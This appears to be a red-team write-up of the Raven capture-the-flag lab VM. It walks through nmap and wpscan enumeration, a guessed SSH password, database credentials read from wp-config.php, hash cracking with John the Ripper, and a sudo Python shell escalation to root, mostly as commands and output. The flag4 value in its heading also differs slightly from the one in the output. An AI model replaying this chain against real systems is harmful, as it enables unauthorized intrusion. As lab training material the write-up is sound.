

# Red Team: Summary of Operations

## Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

## Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

COMMAND: \$ nmap -sV 192.168.1.110

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-22 11:10 PST
Nmap scan report for 192.168.1.110
Host is up (0.0012s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds
root@Kali:~#
```

This scan identifies the services below as potential points of entry:

- Target 1
  - Port 22/tcp open ssh
  - Port 80/tcp open http
  - Port 111/tcp open rpcbind
  - Port 139/tcp open netbios-ssn
  - Port 445/tcp open netbios-ssn

The following vulnerabilities were identified on each target:

- Target 1
  - User Enumeration (Wordpress site)
  - Weak User Password
  - Unsalted User Password Hash (WordPress database)
  - Misconfiguration of User Privileges/Privilege Escalation

## Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
  - **flag1{b9bbcb33e11b80be759c4e844862482d}**
    - Exploit Used
      - Wpscan to enumerate users of the Target 1 WordPress site
      - COMMAND: \$ wpscan --url http://192.168.1.110/wordpress --enumerate u

```
Brute Forcing Author IDs - Time: 00:00:01 ◊ (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPvulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulnDB.com/users/sign_up
[+] Finished: Sat Jan 22 11:44:32 2022
[+] Requests Done: 27
[+] Cached Requests: 25
[+] Data Sent: 6.177 KB
[+] Data Received: 171.167 KB
[+] Memory used: 117.707 MB
[+] Elapsed time: 00:00:03
```

- Targeting user Michael
  - Basic brute force attack to guess/find Michael's password
  - User password was weak and obvious
  - Password: michael

- Capturing Flag 1: SSH into Target 1 as Michael and navigate directories and files
  - Flag 1 found in var/www/html folder at root in service.html
  - COMMANDS:
    - `ssh michael@192.168.1.110`
    - `Pw: michael`
    - `cd ../`
    - `cd ../`
    - `cd var/www/html`
    - `ls -l`
    - `nano service.html`

```
GNU nano 2.2.6      File: service.html      Modified
```

```
<a$  
<a$  
<a$  
<a$  
    </div>  
  </div>  
</div> $  
</div>  
</footer>  
❗— End footer Area —>  
❗— f[lag1{b9bbcb33e11b80be759c4e844862482d}] ->  
<script src="js/vendor/jquery-2.2.4.min.js"></scri$  
<script src="https://cdnjs.cloudflare.com/ajax/lib$
```

- **flag2{fc3fd58dcdad9ab23faca6e9a36e581c}**
  - Exploit Used
    - Same exploit used to gain Flag 1
    - Capturing Flag 2: navigating through directories and files while SSH in as user Michael
    - COMMANDS:
      - cd var/www
      - ls -l
      - cat flag2.txt

```
-rw-r--r-- 1 root root 40 Aug 13 2018 flag2.txt
drwxrwxrwx 10 root root 4096 Aug 13 2018 html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

- **flag3{afc01ab56b50591e7dccf93122770cd2}**
  - Exploit Used
    - Accessing MySQL database

- After finding wp-config.php and gaining access to database credentials as MySQL, further explored database as Michael
- Flag 3 was found in wp\_posts table in the wordpress database
- COMMAND:
  - mysql -u root -p'R@v3nSecurity' -h 127.0.0.1
  - show database;
  - use wordpress;
  - show tables;
  - select \* from wp\_posts;

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
```

^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cur Pos

```
sed | closed | flag3 | 4-revision-v1 | inherit | clo
| 2018-08-13 01:48:31 | 2018-08-13 01:48:31 |
4 | http://raven.local/wordpress/index.php/2018/08/13/4-revision-v1/
| 0 | revision | 0 |
```

- **flag4{715dea6c055b9fe3337544932f291ce}**
  - Exploit Used
    - Unsalted password hash and the use of privilege escalation with Python
    - Capturing Flag 4: retrieving user credentials from database; crack password hash with John the Ripper and use Python to gain root privileges
    - User credentials that were stored in the wp\_users table of the wordpress database were copied to the Kali machine in a file called wp\_hashes.txt, and cracked with John the Ripper



- COMMANDS:

- mysql -u root -p'R@v3nSecurity' -h 127.0.0.1
- show databases;
- use wordpress;
- show tables;
- select \* from wp\_users;

```
mysql> select * from wp_users;
```

ID	user_login	user_pass	user_nicename	us
er_email	user_url	user_registered	user_activation_key	us
er_status	display_name			
1	michael	\$P\$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0	michael	mi
	chael@raven.org	2018-08-12 22:49:12		
0	michael			
2	steven	\$P\$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/	steven	st
	even@raven.org	2018-08-12 23:31:16		
0	Steven Seagull			

- On the Kali machine, the wp\_hashes.txt was run against John the Ripper to crack the hashes

- COMMANDS: john wp\_hashes.txt

```
root@Kali:~/Desktop# nano wp_hashes.txt
root@Kali:~/Desktop# john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84 (?)
1g 0:00:08:32 DONE 3/3 (2022-01-22 13:04) 0.001951g/s 7218p/s 7218c/s 7218C/s posu
ps..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords r
eliably
Session completed
root@Kali:~/Desktop#
```

- Once Steven's password was cracked, it was used to SSH into the target machine as Steven.

- As Steven, checking for privilege and escalating to root using Python
  - COMMANDS:
    - ssh steven@192.168.1.110
    - pw: pink84
    - sudo -l
    - sudo python -c 'import pty;pty.spawn("/bin/bash")'
    - cd /root
    - ls
    - cat flag4.txt

```
root@target1:/home/steven# cd /root
root@target1:~# ls
flag4.txt
root@target1:~# cat flag4.txt
-----
|  _  \
| | /  / _ _ _ _ _
|  // _ \ \ / / _ \ \
| | \ \ \ \ \ \ /  \ /  \ \
| | \ \ \ \ \ \ \ /  \ /  \ \
\ | \ \ \ \ \ \ \ \ \ \ \ \ \ \

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:~# █
```